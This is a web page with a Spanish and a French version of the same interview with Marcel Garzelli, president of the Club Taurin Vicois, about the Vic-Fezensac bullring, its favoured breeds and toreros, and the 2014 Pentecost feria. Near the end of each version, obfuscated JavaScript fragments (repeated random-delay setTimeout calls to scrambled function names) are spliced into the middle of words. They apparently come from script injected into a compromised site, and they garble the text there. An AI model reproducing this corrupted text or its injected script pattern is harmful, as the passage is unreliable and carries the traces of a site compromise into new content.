MARCEL GARZELLI : LA PASION POR VIC FEZENSACMARGEL GARZELLI LA PASSION POUR VIC FEZENSAC

Es uno de los personajes ineludibles de la afición francesa, mas eclético de lo que parece, y como presidente del Club Taurino de Vic-Fezensac uno de los defensores del espíritu de esta localidad. Hemos hablado con él sobre el pasado de la plaza y sobre su propia afición pero también de la próxima feria de de Pentecostés.

-De donde te viene esa pasión por Vic ?

-Primero porque nací aquí, es mi pueblo, la plaza se construyó en los años 30 y mi padre participó en ello. Era nuestra sala de juegos, una puerta abierta sobre España que no conociamos porque entonces no se viajaba como ahora. La llegada de los toros era un momento extraordinario, esperábamos horas al borde de la carretera la llegada del camión, sabiamos que había pasado la frontera, nos enterábamos por donde iba, lo que puede parecer hoy un poco extraño. Eran viejos camiones destartalados con conductores quer llegaban exaustos.

Los toreros no los conociamos mucho y guardo sobre todo el recuerdo de los toros en el ruedo. Todos somos herederos de una cierta cultura y los mayores nos transmitieron el culto al toro, al mito del toro.

Eramos gente de campo, con un contacto cotidiano con el animal y con respecto a la gente de la ciudad sabiamos hacer la diferencia entre un buey y un toro de lidia. En el campo gusta mucho la estética, la morfología del toro bravo.

-Cuales han sido las ganaderías mas emblemáticas de Vic ?

-Las de Santa Coloma, la saga de Santa Coloma aunque desgraciadamente se haya diluído un poco a favor de la sangre Domecq. Los toros de Fuente Ymbro, de Cebada Gago e incluso algunos de Parladé se ve que funcionan y hemos evolucionado un poco en ese sentido aunque sigamos prefiriendo los grises, los de Santa Coloma.

-Y cuales han sido los toreros mas importantes en esta plaza ?

-Como sabeis hay un escultura al salir de la plaza como homenaje a Ruiz Miguel que llegó como debutante y nos fue fiel durante 25 años. También marcaron una época Dámaso Gómez, los hermanos Campuzano, Víctor Mendes y en menor medida El Fundi. Hemos intentado abrirnos a otros toreros como Rincón o Ponce pero era dificil de asimilar por la afición ya que eso entrañaba algunos cambios en el trapío de los toros.

-Cual es tu torero ?

-Soy un incondicional de José Tomás, me impresiona, me llega mas que ningún otro.

-Como explicas el exito de Vic, un pequeño pueblo con una plaza de primera categoría ?

-Nuestra imagen de marca se ha basado en los toros fuertes, quizá a veces un poco descatados e incluso mansos, pero siempre con mucho trapío. Nos gusta el animal íntegro, las dificultades. Hoy se trabaja mas lo gestual que el enfrentamiento, es casi como un ballet, lo que no era antes. El público en general está menos preparado para ver un espectáculo mas autentico, mas « salvaje ».

-Cuales son los platos fuertes de esta feria de Pentecostés 2014 ?

-Si miramos bien los toros que están programados se da uno cuenta que hay tres ganaderías emblemáticas del campo español : Adolfo Martín, Dolores Aguirre y Cebada Gago, que no es poco. Para dos de estas corridas estuvimos en competencia con Pamplona, son corridas muy fuertes.

-Unas palabras sobre los toreros y ese mano a mano de apertura.

-Es el enfrentamiento entre un tio con 15 años de experiencia, Antonio Ferrera, y otro que tiene un poco menos y que ha vuelto a despegar el año pasado, Manuel Escribano.  Quizá no se trate de artistas pero interesan al gran público, van a la pelea, han derramado su sangre, son dignos de respeto y además se trata de excelentes bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilleros, lo que supone hoy en día una oferta suplementaria.

Feria de Vic-Fezensac 2014 : del 7 al 9 de junio 2014

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Il est un personnage incontournable de l’aficion française, plus éclectique qu’il ne parait, et en tant que président du Club Taurin Vicois l’un des garants de l’esprit vicois. Nous avons parlé avec lui sur le passé des arènes et de son aficion mais aussi sur cette Pentecôte à venir.

 -Pourquoi cette passion pour Vic ?

-D’abord parce que j’y suis né, c’est mon village, les arènes ont été construites dans les années 30 et mon père y a participé. C’était notre terrain de jeux, une ouverture sur l’Espagne qu’on ne connaissait pas car on ne voyageait pas comme aujourd’hui. L’arrivée des toros était un moment extraordinaire, on attendait des heures au bord de la route le camion, on savait qu’il avait passé la frontière, on suivait un petit peu sa trace, ça peut paraître désuet. C’était de vieux camions brinquebalants avec des équipages fatigués. Les toreros on ne les connaissait pas beaucoup, je me souviens surtout de quelques toros. On est tous héritiers d’une certaine culture et ce sont les anciens qui nous ont transmise celle du toro, celle du mythe du toro.

On était issus de la campagne, on avait un contact avec l’animal dans notre quotidien et contrairement aux gens des villes on savait faire la différence entre un bœuf domestique et un toro de combat. A la campagne on aime beaucoup l’esthétique, la plastique du toro de combat.

-Quels ont été les élevages emblématiques de Vic ?

-Les Santa Coloma, toujours la saga Santa Coloma même si malheureusement ça commence à s’étioler à cause de la prédominance du sang Domecq. Si on regarde les toros de Fuente Ymbro, de Cebada Gago et certains de Parladé on voit que ça marche et on évolue un petit peu dans ce sens-là, même si les gris de Santa Coloma demeurent notre préférence.

-Et pour les toreros ?

-Vous savez qu’on a fait un monument à Ruiz Miguel, qu’on a connu débutant et qui est revenu pendant 25 ans. Il y a eu aussi Dámaso Gómez, les frères Campuzano, Victor Mendes et dans une moindre mesure El Fundi, qui ont marqué une époque. On a essayé l’ouverture avec des toreros comme Rincón ou Ponce mais ça avait du mal à passer car cela nous amenait à présenter d’autres types de toros.

-Quel est ton torero ?

-Je suis un inconditionnel de José Tomás, il m’impressionne, il me touche comme aucun autre.

-Comment expliques-tu le succès de Vic, petit village avec une arène de première catégorie ?

-Notre image de marque s’est faite sur des toros forts, peut-être parfois un peu décastés et aussi mansos, mais toujours puissants. On aime l’animal intègre, les difficultés. Aujourd’hui on travaille plus sur le geste que sur l’affrontement, c’est plus un ballet que ça ne l’était autrefois. Le public, en général, est peut-être un peu moins préparé pour assister à un spectacle qui n’est pas dénaturé et plus sauvage.

-Quels sont les plats forts de cette feria de Pentecôte 2014 ?

-Si on regarde bien la composition des toros on se rend compte qu’il y a trois élevages espagnols emblématiques : Adolfo Martín, Dolores Aguirre et Cebada Gago, ce qui n’est pas rien. Pour deux de ces courses où on était en compétition avec Pampelune, des courses très fortes.

-Un mot sur les toreros et notamment ce mano a mano d’ouverture.

-C’est la confrontation entre un gars qui a 15 ans d’expérience, Antonio Ferrera, et un autre qui en a un peu moins et a redécollé l’année dernière, Manuel Escribano. Ce ne sont peut-être pas des artistes mais ils intéressent le grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and public, ils vont au combat, ils ont payé le prix du sang, ils sont respectables et en plus ce sont d’excellents bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilleros, ce qui par les temps qui courent est une offre supplémentaire.

 Feria de Vic-Fezensac 2014 : du 7 au 9 juin 2014

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